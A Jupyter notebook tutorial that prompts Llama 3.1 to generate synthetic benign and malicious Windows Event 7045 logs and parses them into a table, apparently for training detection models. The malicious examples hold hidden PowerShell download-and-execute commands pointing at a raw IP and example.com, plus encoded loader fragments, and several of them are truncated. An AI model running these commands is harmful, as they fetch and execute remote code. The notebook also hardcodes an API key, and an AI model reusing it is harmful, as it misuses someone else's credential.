Creating Synthetic Data using Llama 3.1

In this session, we will explore how to use Llama 3.1 to generate synthetic logs for testing and analyzing systems, particularly focusing on Windows Event Log 7045, both benign (normal) and malicious (suspicious) logs.

Here is what we will cover in this session:

- Use Llama 3.1 to generate synthetic logs.
- Define system and user content to shape model behavior.
- Create both benign and malicious logs for simulating real-world data.
- Parse unstructured log text into a structured format for easier processing.

Requirement: https://aimlapi.com/ api_key is provided: ed4b5e9d497f4d8badf2ed3929bb0c2d

```
!pip install openai
!pip install pandas
```

Optional: All package installations can be done in a requirement file. Add a requirement.txt file in the same dir Run the following command: !pip install -r requirements.txt

In [1]:
```
!pip install openai
!pip install pandas
```

```
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: openai in /Users/angus/Library/Python/3.9/lib/python/site-packages (1.41.1)
Requirement already satisfied: anyio<5,>=3.5.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (4.4.0)
Requirement already satisfied: distro<2,>=1.7.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (1.9.0)
Requirement already satisfied: httpx<1,>=0.23.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (0.27.0)
Requirement already satisfied: jiter<1,>=0.4.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (0.5.0)
Requirement already satisfied: pydantic<3,>=1.9.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (2.8.2)
Requirement already satisfied: sniffio in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (1.3.1)
Requirement already satisfied: tqdm>4 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (4.66.5)
Requirement already satisfied: typing-extensions<5,>=4.11 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from openai) (4.11.0)
Requirement already satisfied: idna>=2.8 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from anyio<5,>=3.5.0->openai) (3.7)
Requirement already satisfied: exceptiongroup>=1.0.2 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from anyio<5,>=3.5.0->openai) (1.2.1)
Requirement already satisfied: certifi in /Users/angus/Library/Python/3.9/lib/python/site-packages (from httpx<1,>=0.23.0->openai) (2024.2.2)
Requirement already satisfied: httpcore==1.* in /Users/angus/Library/Python/3.9/lib/python/site-packages (from httpx<1,>=0.23.0->openai) (1.0.5)
Requirement already satisfied: h11<0.15,>=0.13 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from httpcore==1.*->httpx<1,>=0.23.0->openai) (0.14.0)
Requirement already satisfied: annotated-types>=0.4.0 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pydantic<3,>=1.9.0->openai) (0.7.0)
Requirement already satisfied: pydantic-core==2.20.1 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pydantic<3,>=1.9.0->openai) (2.20.1)
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: pandas in /Users/angus/Library/Python/3.9/lib/python/site-packages (2.2.2)
Requirement already satisfied: numpy>=1.22.4 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pandas) (1.26.4)
Requirement already satisfied: python-dateutil>=2.8.2 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pandas) (2.9.0.post0)
Requirement already satisfied: pytz>=2020.1 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pandas) (2024.1)
Requirement already satisfied: tzdata>=2022.7 in /Users/angus/Library/Python/3.9/lib/python/site-packages (from pandas) (2024.1)
Requirement already satisfied: six>=1.5 in /Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/site-packages (from python-dateutil>=2.8.2->pandas) (1.15.0)
```

In [2]:
```python
import openai
import pandas as pd
import os
```

The system content serves as the backbone of any structured conversation in AI. Think of it as the part of the model where we set the tone, establish boundaries, and provide essential context for guiding responses. This system role ensures that the model adheres to specific rules, whether it's staying on-topic, maintaining a certain behavior, or even following safety protocols. It's like giving the model a playbook that it uses to shape its replies in a way that aligns with your goals.

```
we define the system content:
    you are <an expert in cybersecurity>.  you task is <to generate synthetic Windows Event ID 7045 log entries for training purposes>.
    <each entry> should include:
    - a
    - b
    - c
```

In [3]:
```python
# Define the system content

system_content = """
You are an expert in cybersecurity. Your task is to generate synthetic Windows Event ID 7045 log entries for training purposes.
Each entry should include:
- A label ("benign" or "malicious")
- Service Name
- Service File Name
- Service Type
- Service Start Type
- Service Account
- Data Service Name
- Timestamp
- ID

For the ID:
- End with "x" for malicious entries
- End with "Y" for benign entries
For the Service File Name:
- Use a command line for the malicious entries
- Use a file path for the benign entries
Ensure the generated entries are varied and realistic.

An example of a benign entry might look like this:
- Label: benign
- Service Name: sysmon
- Service File Name: C:\WINDOWS\sysmon.exe
- Service Type: auto start
- Service Start Type: user mode service
- Account Name: LocalSystem
- Data Service Name: Windows11
- Timestamp: 2024-08-04T17:58:19Z
- ID: fc7deb2c-9f43-49de-aff0-xxxxxxxxxxxxB

An example of a malicious entry might look like this:
- Label: malicious
- Service Name: MTsMjDat
- Service File Name: "powershell -nop -w hidden -noni -c '=New-Object IO.MemoryStream(,[Convert]::FromBase64String(TgBrAHIAVABoAEEAWAAzAHYAbwBiAHMAUAAwAGEATgBXAHAAMwA5AHQAWABQADgAcABiAGUARgBBAG8AVgAwAHkAYgBPADkAUgBnAGIAMABKAFMANgByAGoATwB5ADAAZwBwAHYAaQAy
2024-08-17T22:23:24Z,7045,60d9b6fa-a407-42ef-94ae-023801db0fb2,doe_admin,%comspec% /b /c start /b /min powershell -nop -w hidden -encodedcommand 'dQA2ADcAbwB1AFEAdAA0AFUARwBmAGMAOAB2AHkAdQBtAEYAdQBiAEcAWgBGAHEAZgBOAEgAegA3AEcAMwBaAHEAdABuAEoAbwBaADUAYwBNA
- Service Type: user mode service
- Service Start Type: demand start
- Account Name: LocalSystem
- Data Service Name: Windows11
- Timestamp: 2024-08-04T19:18:42Z
- ID: 6c7fe4d5-31ed-4fbc-b3bb-xxxxxxxxxxxxM
"""
```

The user content refers to the input provided by the user during a conversation. It is essentially the message or prompt that the user sends to the model, asking for information, requesting actions, or guiding the conversation. This user input serves as the starting point for the model's response.

In [4]:
```python
# Define the user content for generating log entries
user_content_benign = "Generate a random benign Windows Event ID 7045 log entry."
user_content_malicious = "Generate a random malicious Windows Event ID 7045 log entry."
```

Our application now that interfaces with the Llama model on aiml api. Once the api key is beign authenticated, the application pass user input to the model and managing the model's output.

In [5]:
```python
client = openai.OpenAI(
    api_key="ed4b5e9d497f4d8badf2ed3929bb0c2d",
    base_url="https://api.aimlapi.com/"
)
```

We're working with Llama 3.1 to simulate two types of logs: benign logs (safe, expected events) and malicious logs (potentially harmful or suspicious activity). This distinction is important when we're training models to identify anomalies or threats in systems.

We could modify these functions to fine-tune how Llama generates logs, whether we're looking for specific types of events in the logs or want to test the system's reaction to more varied types of activity. This is a powerful way to simulate real-world data for AI model training and validation.

In [6]:
```python
# Generate benign log
def generate_benign_log():
    chat_completion_benign = client.chat.completions.create(
        #model="meta-llama/Meta-Llama-3.1-70B-Instruct-Turbo",
        model="meta-llama/Meta-Llama-3.1-405B-Instruct-Turbo",
        messages=[
            {"role": "system", "content": system_content},
            {"role": "user", "content": user_content_benign},
        ],
        temperature=0.7,
        max_tokens=256,
    )
    return chat_completion_benign

# Generate malicious log
def generate_malicious_log():
    chat_completion_malicious = client.chat.completions.create(
        #model="meta-llama/Meta-Llama-3.1-70B-Instruct-Turbo",
        model="meta-llama/Meta-Llama-3.1-405B-Instruct-Turbo",
        messages=[
            {"role": "system", "content": system_content},
            {"role": "user", "content": user_content_malicious},
        ],
        temperature=0.7,
        max_tokens=256,
    )
    return chat_completion_malicious
```

We simply creates an empty list called synthetic_logs.

In [7]:
```python
synthetic_logs = []
```

We're generating synthetic logs by calling the functions generate_benign_log() and generate_malicious_log(), then appending their outputs to the synthetic_logs list. In this case, we generate each log 5 times.

We use two loops to generate a total of 10 synthetic logs — 5 benign and 5 malicious. The key functions, generate_benign_log() and generate_malicious_log(), create these logs for us. We then clean up the log content by removing any extra whitespace and store it in the synthetic_logs list. By the end of these loops, we have a collection of logs that we can use for testing or training purposes.

In [8]:
```python
for i in range(5):
    synthetic_logs.append(generate_benign_log().choices[0].message.content.strip())
for i in range(5):
    synthetic_logs.append(generate_malicious_log().choices[0].message.content.strip())
```

This code will print out each synthetic log stored in synthetic_logs.

We review the synthetic logs we've generated. By iterating over each log in synthetic_logs, we print the content and add some extra spacing between entries, making it easier to visually inspect each log. This is useful for validating the logs or simply observing how the Llama model generates benign and malicious events."

In [9]:
```python
for log in synthetic_logs:
    print(log)
    print("\n\n")
```

```
Here's a randomly generated benign Windows Event ID 7045 log entry:

- Label: benign
- Service Name: FontCache
- Service File Name: C:\Windows\System32\FntCache.dll
- Service Type: kernel mode driver
- Service Start Type: auto start
- Service Account: NT AUTHORITY\LocalService
- Data Service Name: Windows11
- Timestamp: 2024-07-29T14:30:05Z
- ID: 8456bec1-6b46-4d55-8f6b-xxxxxxxxxxxxY

Please note that this is a synthetic entry, and actual log entries may vary depending on the system configuration and environment.



Here's a random benign Windows Event ID 7045 log entry:

- Label: benign
- Service Name: wuauserv
- Service File Name: C:\WINDOWS\System32\svchost.exe
- Service Type: share process
- Service Start Type: auto start
- Service Account: NT AUTHORITY\LocalService
- Data Service Name: Windows11
- Timestamp: 2024-08-04T14:38:53Z
- ID: 703fd42c-9e83-46ea-ba9e-xxxxxxxxxxxxY

Note: The ID is fictional and for demonstration purposes only. It does not represent a real Windows Event ID. The Service Name, Service File Name, and Service Account are examples of real Windows services and accounts.



Here's a random benign Windows Event ID 7045 log entry:

- Label: benign
- Service Name: WSearch
- Service File Name: C:\WINDOWS\system32\SearchIndexer.exe
- Service Type: auto start
- Service Start Type: demand start
- Service Account: LocalSystem
- Data Service Name: Windows11
- Timestamp: 2024-08-04T14:30:00Z
- ID: ef5f3d6b-a88d-4d67-a84f-xxxxxxxxxxxxY

Note that this entry is randomly generated and may not reflect a real-world log entry. However, it should be similar in structure and content to a real benign Windows Event ID 7045 log entry.



Here is a random benign Windows Event ID 7045 log entry:

- Label: benign
- Service Name: WSearch
- Service File Name: C:\Windows\System32\SearchIndexer.exe
- Service Type: auto start
- Service Start Type: delayed auto start
- Service Account: NT AUTHORITY\SYSTEM
- Data Service Name: Windows11
- Timestamp: 2024-07-26T14:45:01Z
- ID: 34214567-f73b-4b7d-8f2c-xxxxxxxxxxxxY

This entry represents a normal service start event for the Windows Search service, which is a legitimate Windows system service. The Service File Name is a valid executable path, and the Service Type and Start Type are consistent with a typical Windows se
rvice configuration. The Service Account is also a standard system account. The ID ends with "Y" to indicate that it is a benign entry.



Here is a randomly generated benign Windows Event ID 7045 log entry:

- Label: benign
- Service Name: WSearch
- Service File Name: C:\Windows\system32\SearchIndexer.exe
- Service Type: auto start
- Service Start Type: delayed auto start
- Account Name: LocalSystem
- Data Service Name: Windows11
- Timestamp: 2024-07-26T14:30:00Z
- ID: 3819d8f4-9c22-4771-b65f-xxxxxxxxxxxxY

Note that I've used a real Windows service name and file name to make the entry more realistic. I've also used a random GUID for the ID field, with the last character being "Y" to indicate that it's a benign entry. Let me know if you have any other reques
ts!



Here's a randomly generated malicious Windows Event ID 7045 log entry:

- Label: malicious
- Service Name: WsMpRt
- Service File Name: "cmd /c powershell -nop -w hidden -c 'iex (New-Object Net.WebClient).DownloadString(''http://45.142.213.103/mal.ps1'')'"
- Service Type: user mode service
- Service Start Type: auto start
- Service Account: LocalSystem
- Data Service Name: Windows10
- Timestamp: 2024-07-29T14:31:05Z
- ID: 4679ac9f-19f5-4e6b-8d4d-xxxxxxxxxxxxx

Note: The service file name contains a malicious PowerShell command that downloads a script from a suspicious URL. The ID ends with "x" to indicate a malicious entry.



Here is a random malicious Windows Event ID 7045 log entry:

- Label: malicious
- Service Name: xA6nJwPq
- Service File Name: "cmd /c powershell -nop -w hidden -noni -c '=New-Object IO.MemoryStream(,[Convert]::FromBase64String(TQBpAGIAUgB6AHYAYQBuAGQAUwBpAHoAQQBmADYAbgBkAGYAYwB1AGcAZgBqAGoAWgBFAFAAdgA5AHYAYQBzAGUAdgBnAHYAbABPAHAAZgBqAGEAZwB1AHIAZQB0AFYAdgB5A
HcAbgBkAHYAbgBzAGkAagBVAG4AdgBlAHIAcwB1AG4AdABGAGEAZABjAHIAaQBwAHUAdgBhAGwAQQBnAHYAbgBwAHkAdgB1AHYAdAB5AHYAYQBiAHYAZgBpAG4AdgBkAGYAYQBsAHY



Here's a randomly generated malicious Windows Event ID 7045 log entry:

- Label: malicious
- Service Name: ZbPnSvc
- Service File Name: "cmd /c powershell -nop -w hidden -noni -c 'iex (New-Object Net.WebClient).DownloadString(\"http://example.com/malicious.ps1\")'"
- Service Type: user mode service
- Service Start Type: auto start
- Service Account: LocalSystem
- Data Service Name: Windows10
- Timestamp: 2024-07-28T14:30:00Z
- ID: 4b15e2c9-6d41-4f92-8f45-xxxxxxxxxxxxx

Note that the Service File Name field contains a malicious PowerShell command that downloads and executes a script from a remote location. In a real-world scenario, this would likely be a malicious payload designed to compromise the system.



Here's a randomly generated malicious Windows Event ID 7045 log entry:

- Label: malicious
- Service Name: aJzFwyLp
- Service File Name: "cmd /c powershell -nop -w hidden -c 'iex (new-object net.webclient).downloadstring(\"http://example.com/malware.ps1\")'"
- Service Type: kernel mode driver
- Service Start Type: auto start
- Service Account: LocalSystem
- Data Service Name: Windows10
- Timestamp: 2024-07-21T14:30:00Z
- ID: 3666a573-e262-4f41-b235-xxxxxxxxxxxxx

This entry is designed to mimic a malicious service installation, where the service file name is actually a command line that downloads and executes a malicious PowerShell script from a remote location. The ID ends with "x", indicating that it's a malicio
us entry.



Here's a randomly generated malicious Windows Event ID 7045 log entry:

- Label: malicious
- Service Name: WbcNtNcP
- Service File Name: "cmd /c powershell -nop -w hidden -noni -c '=New-Object IO.MemoryStream(,[Convert]::FromBase64String(TgBmAHIATgBjAE4ATgBxAFMAWgBkAG8AWgBpAHoAZQBxAFMAeQB5ADgAdABKAEoAegBTADgAcgBlAFMALwB3AHoAWgBtAGgAbwBxAHMARAB3ADgARwBFAFoAYQBkAEYANgBxA
EwAWQBiAGUANQBlADgAZgBqADYANwBxAFYAcgBqAEoAeAB1AHMASQBxAHIAbwBxAHMARABhADgARwBxAFIAbwBxAHMARAB3AFgANQBxAHMARABiAEUANQBxAHMARABhAEQARQBxAFMARQBxAFQARQBxAFIANQBxAFYANQBxAFMARABi
```

We parse a single log entry, extracting key-value pairs from each line and returning them as a dictionary.

This function helps us take a raw log entry, which is essentially a block of text with key-value pairs, and turn it into a structured dictionary. We loop through each line in the log, check for the presence of a key-value pattern (separated by a colon and space), and then store that information in a dictionary. This parsed format is easier to work with, especially when you need to extract specific details from the logs for further analysis or processing.

In [10]:
```python
# Function to parse a log entry
def parse_log_entry(log_entry):
    lines = log_entry.split('\n')
    log_data = {}
    for line in lines:
        if ': ' in line:
            key, value = line.split(': ', 1)
            log_data[key.strip()] = value.strip()
    return log_data
```

We build on the parse_log_entry function we discussed earlier.

We loop through the synthetic logs that we generated earlier. For each log, we call the parse_log_entry() function to convert the raw log data into a structured dictionary. Then, we store the parsed version of each log in the parsed_logs list. This gives us a clean, structured format for all the logs, which makes it easier to analyze, manipulate, or store in a database for further processing.

In [11]:
```python
parsed_logs = []
for log in synthetic_logs:
    parsed_log = parse_log_entry(log)
    parsed_logs.append(parsed_log)
```

In [12]:
```python
df = pd.DataFrame(parsed_logs)
df
```

Out[12]:

	- Label	- Service Name	- Service File Name	- Service Type	- Service Start Type	- Service Account	- Data Service Name	- Timestamp	- ID	Note	- Account Name
0	benign	FontCache	C:\Windows\System32\FntCache.dll	kernel mode driver	auto start	NT AUTHORITY\LocalService	Windows11	2024-07-29T14:30:05Z	8456bec1-6b46-4d55-8f6b-xxxxxxxxxxxxY	NaN	NaN
1	benign	wuauserv	C:\WINDOWS\System32\svchost.exe	share process	auto start	NT AUTHORITY\LocalService	Windows11	2024-08-04T14:38:53Z	703fd42c-9e83-46ea-ba9e-xxxxxxxxxxxxY	The ID is fictional and for demonstration purp...	NaN
2	benign	WSearch	C:\WINDOWS\system32\SearchIndexer.exe	auto start	demand start	LocalSystem	Windows11	2024-08-04T14:30:00Z	ef5f3d6b-a88d-4d67-a84f-xxxxxxxxxxxxY	NaN	NaN
3	benign	WSearch	C:\Windows\System32\SearchIndexer.exe	auto start	delayed auto start	NT AUTHORITY\SYSTEM	Windows11	2024-07-26T14:45:01Z	34214567-f73b-4b7d-8f2c-xxxxxxxxxxxxY	NaN	NaN
4	benign	WSearch	C:\Windows\system32\SearchIndexer.exe	auto start	delayed auto start	NaN	Windows11	2024-07-26T14:30:00Z	3819d8f4-9c22-4771-b65f-xxxxxxxxxxxxY	NaN	LocalSystem
5	malicious	WsMpRt	"cmd /c powershell -nop -w hidden -c 'iex (New...	user mode service	auto start	LocalSystem	Windows10	2024-07-29T14:31:05Z	4679ac9f-19f5-4e6b-8d4d-xxxxxxxxxxxxx	The service file name contains a malicious Pow...	NaN
6	malicious	xA6nJwPq	"cmd /c powershell -nop -w hidden -noni -c '=N...	NaN	NaN	NaN	NaN	NaN	NaN	NaN	NaN
7	malicious	ZbPnSvc	"cmd /c powershell -nop -w hidden -noni -c 'ie...	user mode service	auto start	LocalSystem	Windows10	2024-07-28T14:30:00Z	4b15e2c9-6d41-4f92-8f45-xxxxxxxxxxxxx	NaN	NaN
8	malicious	aJzFwyLp	"cmd /c powershell -nop -w hidden -c 'iex (new...	kernel mode driver	auto start	LocalSystem	Windows10	2024-07-21T14:30:00Z	3666a573-e262-4f41-b235-xxxxxxxxxxxxx	NaN	NaN
9	malicious	WbcNtNcP	"cmd /c powershell -nop -w hidden -noni -c '=N...	NaN	NaN	NaN	NaN	NaN	NaN	NaN	NaN

You have learned how to:

- Use Llama 3.1 to generate synthetic logs.
- Define system and user content to shape model behavior.
- Create both benign and malicious logs for simulating real-world data.
- Parse unstructured log text into a structured format for easier processing.

This syntheic data creation workflow provides a powerful way to simulate data for security, monitoring, or testing systems, and sets a foundation for training anomaly detection AI models.

In [ ]: